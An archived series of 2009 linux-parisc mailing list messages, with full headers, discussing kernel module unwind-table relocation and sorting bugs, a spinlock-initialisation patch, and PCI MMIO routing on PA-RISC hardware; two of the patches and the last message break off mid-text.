	Tue, 3 Nov 2009 16:54:05 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4639 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753842AbZKCVyF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2009 16:54:05 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7B0AD4E0B; Tue,  3 Nov 2009 16:54:08 -0500 (EST)
In-Reply-To: <4AF0A3E9.6060302@gmx.de> from "Helge Deller" at Nov 3, 2009 10:43:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2302
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2302>

> On 11/03/2009 10:36 PM, John David Anglin wrote:
> >> Unwind section '.PARISC.unwind' at offset 0x11c contains 3 entries:
> >>
> >> <libcrc32c_mod_fini>: [0x0-0x2c]
> >>           Entry_GR=1 Save_SP Save_RP Total_frame_size=8
> >> <libcrc32c_mod_init>: [0x0-0x44]
> >>           Entry_GR=1 Save_SP Save_RP Total_frame_size=8
> >> <crc32c>: [0x0-0x6c]
> >>           Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> >
> > What do you see for '.rela.PARISC.unwind'?
> >
> > I suspect that this is a problem in handling the R_PARISC_SEGREL32
> > relocations is the kernel loader.  The above would be fine if
> > libcrc32c_mod_fini and libcRc32c_mod_init are in different sections
> > (.exit.text and .inti.text).
> 
> Relocation section '.rela.PARISC.unwind' at offset 0x9b8 contains 6 entries:
>   Offset     Info    Type            Sym.Value  Sym. Name + Addend
> 00000000  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 0
> 00000004  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 2c
> 00000010  00000331 R_PARISC_SEGREL32 00000000   .init.text + 0
> 00000014  00000331 R_PARISC_SEGREL32 00000000   .init.text + 44
> 00000020  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 0
> 00000024  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 6c

That's exactly what I expected.  There's no overlap.  The module
loader needs to sort the unwind entries after doing the relocations.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Tue, 03 Nov 2009 23:04:43 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <4AF0A8FB.2000504@gmx.de>
References: <20091103215408.7B0AD4E0B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257285896 21815 80.91.229.12 (3 Nov 2009 22:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2009 22:04:56 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 23:04:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N5RUe-0000xa-FX
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Nov 2009 23:04:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755243AbZKCWEm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2009 17:04:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755306AbZKCWEm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Nov 2009 17:04:42 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:59491 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755243AbZKCWEl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2009 17:04:41 -0500
Original-Received: (qmail invoked by alias); 03 Nov 2009 22:04:45 -0000
Original-Received: from p4FDB2754.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.84]
  by mail.gmx.net (mp067) with SMTP; 03 Nov 2009 23:04:45 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/OTjFKwG7OYlmWYmt7SR6FO5UrMqM1S2sr/Rk0AB
	qb8Cv1sLjG0M6H
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091103215408.7B0AD4E0B@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2303
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2303>

On 11/03/2009 10:54 PM, John David Anglin wrote:
>> On 11/03/2009 10:36 PM, John David Anglin wrote:
>>>> Unwind section '.PARISC.unwind' at offset 0x11c contains 3 entries:
>>>>
>>>> <libcrc32c_mod_fini>: [0x0-0x2c]
>>>>            Entry_GR=1 Save_SP Save_RP Total_frame_size=8
>>>> <libcrc32c_mod_init>: [0x0-0x44]
>>>>            Entry_GR=1 Save_SP Save_RP Total_frame_size=8
>>>> <crc32c>: [0x0-0x6c]
>>>>            Entry_GR=2 Save_SP Save_RP Total_frame_size=8
>>>
>>> What do you see for '.rela.PARISC.unwind'?
>>>
>>> I suspect that this is a problem in handling the R_PARISC_SEGREL32
>>> relocations is the kernel loader.  The above would be fine if
>>> libcrc32c_mod_fini and libcRc32c_mod_init are in different sections
>>> (.exit.text and .inti.text).
>>
>> Relocation section '.rela.PARISC.unwind' at offset 0x9b8 contains 6 entries:
>>    Offset     Info    Type            Sym.Value  Sym. Name + Addend
>> 00000000  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 0
>> 00000004  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 2c
>> 00000010  00000331 R_PARISC_SEGREL32 00000000   .init.text + 0
>> 00000014  00000331 R_PARISC_SEGREL32 00000000   .init.text + 44
>> 00000020  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 0
>> 00000024  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 6c
>
> That's exactly what I expected.  There's no overlap.  The module
> loader needs to sort the unwind entries after doing the relocations.

It's already sorting the entries, but creating the relocation is currently a hack.

See top of arch/parisc/kernel/module.c:
  *    - SEGREL32 handling
  *      We are not doing SEGREL32 handling correctly. According to the ABI, we
  *      should do a value offset, like this:
  *                      if (in_init(me, (void *)val))
  *                              val -= (uint32_t)me->module_init;
  *                      else
  *                              val -= (uint32_t)me->module_core;
  *      However, SEGREL32 is used only for PARISC unwind entries, and we want
  *      those entries to have an absolute address, and not just an offset.
  *
  *      The unwind table mechanism has the ability to specify an offset for
  *      the unwind table; however, because we split off the init functions into
  *      a different piece of memory, it is not possible to do this using a
  *      single offset. Instead, we use the above hack for now.

If we change this, don't we require a binutils update then at the same time from the users?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Tue, 3 Nov 2009 19:57:36 -0500 (EST)
Lines: 50
Approved: news@gmane.org
Message-ID: <20091104005737.0E4674FB2@hiauly1.hia.nrc.ca>
References: <4AF0A8FB.2000504@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257296272 21970 80.91.229.12 (4 Nov 2009 00:57:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Nov 2009 00:57:52 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 04 01:57:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N5UBw-00014C-1w
	for glpp-linux-parisc@lo.gmane.org; Wed, 04 Nov 2009 01:57:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751073AbZKDA5d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2009 19:57:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752147AbZKDA5d
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Nov 2009 19:57:33 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4650 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751073AbZKDA5d (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2009 19:57:33 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0E4674FB2; Tue,  3 Nov 2009 19:57:36 -0500 (EST)
In-Reply-To: <4AF0A8FB.2000504@gmx.de> from "Helge Deller" at Nov 3, 2009 11:04:43 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2304
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2304>

> >> Relocation section '.rela.PARISC.unwind' at offset 0x9b8 contains 6 entries:
> >>    Offset     Info    Type            Sym.Value  Sym. Name + Addend
> >> 00000000  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 0
> >> 00000004  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 2c
> >> 00000010  00000331 R_PARISC_SEGREL32 00000000   .init.text + 0
> >> 00000014  00000331 R_PARISC_SEGREL32 00000000   .init.text + 44
> >> 00000020  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 0
> >> 00000024  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 6c
> >
> > That's exactly what I expected.  There's no overlap.  The module
> > loader needs to sort the unwind entries after doing the relocations.
> 
> It's already sorting the entries, but creating the relocation is currently a hack.
> 
> See top of arch/parisc/kernel/module.c:
>   *    - SEGREL32 handling
>   *      We are not doing SEGREL32 handling correctly. According to the ABI, we
>   *      should do a value offset, like this:
>   *                      if (in_init(me, (void *)val))
>   *                              val -= (uint32_t)me->module_init;
>   *                      else
>   *                              val -= (uint32_t)me->module_core;
>   *      However, SEGREL32 is used only for PARISC unwind entries, and we want
>   *      those entries to have an absolute address, and not just an offset.
>   *
>   *      The unwind table mechanism has the ability to specify an offset for
>   *      the unwind table; however, because we split off the init functions into
>   *      a different piece of memory, it is not possible to do this using a
>   *      single offset. Instead, we use the above hack for now.
> 
> If we change this, don't we require a binutils update then at the same time from the users?

Where does the .exit.text section fit in this scheme?  The loader
has to appropriately group the sections and determine the section offsets.
It would seem that there is a problem with load offset for at least
one of the three sections in this module.

Don't think fixing the offsets requires a binutils update.  However, the
change to using section offsets may have made the problem worse.  The binutils
update only corrected the issue with overloaded symbols.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [patch 10/16] parisc: Replace old style lock init
Date: Fri, 06 Nov 2009 22:41:51 -0000
Lines: 51
Approved: news@gmane.org
Message-ID: <20091106223806.803538964@linutronix.de>
References: <20091106223547.784916750@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1257547427 3514 80.91.229.12 (6 Nov 2009 22:43:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Nov 2009 22:43:47 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>, Peter Zijlstra <peterz@infradead.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 06 23:43:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N6XWs-0003jM-HT
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 Nov 2009 23:43:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933228AbZKFWmN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Nov 2009 17:42:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932405AbZKFWmL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Nov 2009 17:42:11 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:54047 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933210AbZKFWmG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Nov 2009 17:42:06 -0500
Original-Received: from localhost.localdomain (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id nA6MfpkL016725;
	Fri, 6 Nov 2009 23:41:52 +0100
User-Agent: quilt/0.47-1
Content-Disposition: inline; filename=parisc-replace-old-style-lock-init.patch
X-Virus-Scanned: clamav-milter 0.95.1 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.7 required=5.0 tests=ALL_TRUSTED,AWL
	autolearn=failed version=3.2.4
X-Spam-Checker-Version: SpamAssassin 3.2.4 (2008-01-01) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2305 gmane.linux.kernel:910889
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2305>

SPIN_LOCK_UNLOCKED is deprecated. Init the per cpu locks at runtime
instead.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/smp.c |    9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

Index: linux-2.6/arch/parisc/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/parisc/kernel/smp.c
+++ linux-2.6/arch/parisc/kernel/smp.c
@@ -60,8 +60,6 @@ static int smp_debug_lvl = 0;
 #define smp_debug(lvl, ...)	do { } while(0)
 #endif /* DEBUG_SMP */
 
-DEFINE_SPINLOCK(smp_lock);
-
 volatile struct task_struct *smp_init_current_idle_task;
 
 /* track which CPU is booting */
@@ -69,7 +67,7 @@ static volatile int cpu_now_booting __cp
 
 static int parisc_max_cpus __cpuinitdata = 1;
 
-DEFINE_PER_CPU(spinlock_t, ipi_lock) = SPIN_LOCK_UNLOCKED;
+static DEFINE_PER_CPU(spinlock_t, ipi_lock);
 
 enum ipi_message_type {
 	IPI_NOP=0,
@@ -438,6 +436,11 @@ void __init smp_prepare_boot_cpu(void)
 */
 void __init smp_prepare_cpus(unsigned int max_cpus)
 {
+	int cpu;
+
+	for_each_possible_cpu(cpu)
+		spin_lock_init(&per_cpu(ipi_lock, cpu));
+
 	init_cpu_present(cpumask_of(0));
 
 	parisc_max_cpus = max_cpus;


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Sat, 7 Nov 2009 00:07:42 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <20091106230742.GA16061@p100.box>
References: <4AF0A8FB.2000504@gmx.de> <20091104005737.0E4674FB2@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1257548880 7684 80.91.229.12 (6 Nov 2009 23:08:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Nov 2009 23:08:00 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 07 00:07:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N6XuJ-00055D-Us
	for glpp-linux-parisc@lo.gmane.org; Sat, 07 Nov 2009 00:07:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753708AbZKFXHp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Nov 2009 18:07:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758762AbZKFXHp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Nov 2009 18:07:45 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:58594 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753708AbZKFXHo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Nov 2009 18:07:44 -0500
Original-Received: (qmail invoked by alias); 06 Nov 2009 23:07:49 -0000
Original-Received: from p4FDB2AE4.dip0.t-ipconnect.de (EHLO p100.box) [79.219.42.228]
  by mail.gmx.net (mp051) with SMTP; 07 Nov 2009 00:07:49 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX181Co4QqKA18uquj/DxRJrQA/YbPM1dNy0Zn430DR
	irdRb6aMUUh7A8
Content-Disposition: inline
In-Reply-To: <20091104005737.0E4674FB2@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.43
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2306
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2306>

Hi Dave,

* John David Anglin <dave@hiauly1.hia.nrc.ca>:
> > >> Relocation section '.rela.PARISC.unwind' at offset 0x9b8 contains 6 entries:
> > >>    Offset     Info    Type            Sym.Value  Sym. Name + Addend
> > >> 00000000  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 0
> > >> 00000004  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 2c
> > >> 00000010  00000331 R_PARISC_SEGREL32 00000000   .init.text + 0
> > >> 00000014  00000331 R_PARISC_SEGREL32 00000000   .init.text + 44
> > >> 00000020  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 0
> > >> 00000024  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 6c
> > >
> > > That's exactly what I expected.  There's no overlap.  The module
> > > loader needs to sort the unwind entries after doing the relocations.

You were right here.

> > It's already sorting the entries, 

and I was to some degree wrong :-)

The parisc module loader as written by Randolph was sorting the
unwind entries. But I submitted a wrong patch which replaced the
hand-written sort() by the kernel provided sort() function:
http://patchwork.kernel.org/patch/56528/
Due to a bug in the patch a wrong amount of unwind entries were
calculated and as such the sort() function didn't sorted all unwind entries.

Below is an updated patch. With this one, all your binutils changes
work nicely with 32- and 64-bit kernels and modules.

Kyle, I see you applied my original patch into your "next" tree already:
http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commit;h=b8d46862d910c3be7c28c627204da968c174aa9a

Do you want me to send you a new patch against your "next" tree instead?


> > If we change this, don't we require a binutils update then at the same time from the users?
> 
> Don't think fixing the offsets requires a binutils update.  However, the
> change to using section offsets may have made the problem worse.  The binutils
> update only corrected the issue with overloaded symbols.

Yes, a binutils update will just fix user's "out-of-order-unwind-entry"
warnings.

Thanks!

Helge




PATCH: parisc: use sort() instead of home-made implementation (v2)

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 69dad5a..9dbefa8 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -13,6 +13,7 @@
 #include <linux/sched.h>
 #include <linux/slab.h>
 #include <linux/kallsyms.h>
+#include <linux/sort.h>
 
 #include <asm/uaccess.h>
 #include <asm/assembly.h>
@@ -115,24 +116,18 @@ unwind_table_init(struct unwind_table *table, const char *name,
 	}
 }
 
+static int cmp_unwind_table_entry(const void *a, const void *b)
+{
+	return ((const struct unwind_table_entry *)a)->region_start
+	     - ((const struct unwind_table_entry *)b)->region_start;
+}
+
 static void
 unwind_table_sort(struct unwind_table_entry *start,
 		  struct unwind_table_entry *finish)
 {
-	struct unwind_table_entry el, *p, *q;

From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pci 0000:01:04.0: BAR 0: no parent found for of device
Date: Fri, 6 Nov 2009 16:55:25 -0700
Lines: 183
Approved: news@gmane.org
Message-ID: <20091106235525.GD5262@lackof.org>
References: <4AF099F7.10903@gmx.de> <20091106062234.GC4574@lackof.org> <4AF4890B.4050700@gmx.de> <20091106235405.GC5262@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1257551735 14497 80.91.229.12 (6 Nov 2009 23:55:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Nov 2009 23:55:35 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 07 00:55:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N6YeN-0004AO-LN
	for glpp-linux-parisc@lo.gmane.org; Sat, 07 Nov 2009 00:55:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759995AbZKFXzV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Nov 2009 18:55:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760005AbZKFXzV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Nov 2009 18:55:21 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:41601 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759995AbZKFXzU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Nov 2009 18:55:20 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 7B72F33E0142;
	Fri,  6 Nov 2009 16:55:25 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ERSy+P8ziGto; Fri,  6 Nov 2009 16:55:25 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 06EF833E0144; Fri,  6 Nov 2009 16:55:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20091106235405.GC5262@lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2307
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2307>

[ sorry - didn't realize I hit "reply" instead of "reply-all" ]

On Fri, Nov 06, 2009 at 04:54:05PM -0700, Grant Grundler wrote:
> On Fri, Nov 06, 2009 at 09:37:31PM +0100, Helge Deller wrote:
> > Hi Grant,
> >
> > Thanks for your answers!!!
> ...
> >> IIRC, the graphics frame buffers are routed by every Elroy ELMMIO register
> >> on all 4 Elroys. If you can get the machine to NOT HPMC,
> >> ELMMIO resources should be listed in /proc/iomem for workstations.
> >
> > Ok, the good thing is, that it doesn't HPMCs.
> > But sadly I have no clue about what you write above :-(
> 
> Heh...Here is a short and probably inadequate explanation.
> 
> Elroy has 3 MMIO range registers that determine which physical
> addresses will get routed down to the PCI bus:
>    LMMIO  32-bit MMIO address range
>    ELMMIO "Extra" 32-bit MMIO address range
>    GMMIO  64-bit MMIO address range
> 
> The Astro that is upstream (via ropes) is also programmed to route
> specific addresses to specific Elroy devices. Including the ELMMIO
> and GMMIO ranges.
> 
> The upstream routing is essentially the negative decoding of the
> downstream routing. So if f9000000-f9ffffff is routed down to
> elroy with PCI01, then any addresses generated by the PCI devices
> OUTSIDE of that range will get routed upstream since Elroy
> is designed to believe there is no device on that bus that will
> respond to addresses outside that range.
> 
> It might be easiest to think of each MMIO transaction (read or write)
> as a network packet traversing a fabric and the MMIO address is
> the equivalent to an IP address. Each component in the path has
> a "routing table" (one or more MMIO range registers) to decide
> what to do with the packet.
> 
> >
> > Syslog says:
> > SBA found Astro 2.1 at 0xfed00000
> > Elroy version TR4.0 (0x5) found at 0xfed30000
> > PCI: Enabled native mode for NS87415 (pif=0x8f)
> > Elroy version TR4.0 (0x5) found at 0xfed32000
> > pci 0000:01:04.0: BAR 0: no parent found for of device [0xfa000000-0xfbffffff]
> > iosapic: hpa not registered for 0000:01:04.0
> > iosapic: hpa not registered for 0000:01:05.0
> > Elroy version TR4.0 (0x5) found at 0xfed38000
> > Elroy version TR4.0 (0x5) found at 0xfed3c000
> > iosapic: hpa not registered for 0000:03:02.0
> > powersw: Soft power switch at 0xf0400804 enabled.
> >
> >
> > Maybe it's important, that 2 Elroys are detected before the BAR0 message and 2 afterwards?
> 
> Yes, I think it is. There are two ELMMIO ranges being routed to PCI01 and
> PCI03.  Need to determine if those are the right PCI busses (ergo Elroy)
> for those devices and that the same resources are available in the kernel
> that is failing to boot. Just hack lba_pci.c to dump more info about
> the address routing while it's booting.
> 
> 
> >
> > and here is /proc/iomem:
> > root@c3000:~# cat /proc/iomem
> > 00000000-7fffffff : System RAM
> >   00000000-000009ff : PDC data (Page Zero)
> >   00100000-00602fff : Kernel code
> >   00603000-0073bfff : Kernel data
> > f05d0000-f05d0000 : lcd_data
> > f05d0008-f05d0008 : lcd_cmd
> > f2000000-f23fffff : PCI00 LMMIO
> >   f2000000-f2001fff : 0000:00:0f.1
> >     f2000000-f2001fff : sym53c8xx
> >   f2002000-f2003fff : 0000:00:0f.0
> >     f2002000-f2003fff : sym53c8xx
> >   f2004000-f20043ff : 0000:00:0f.1
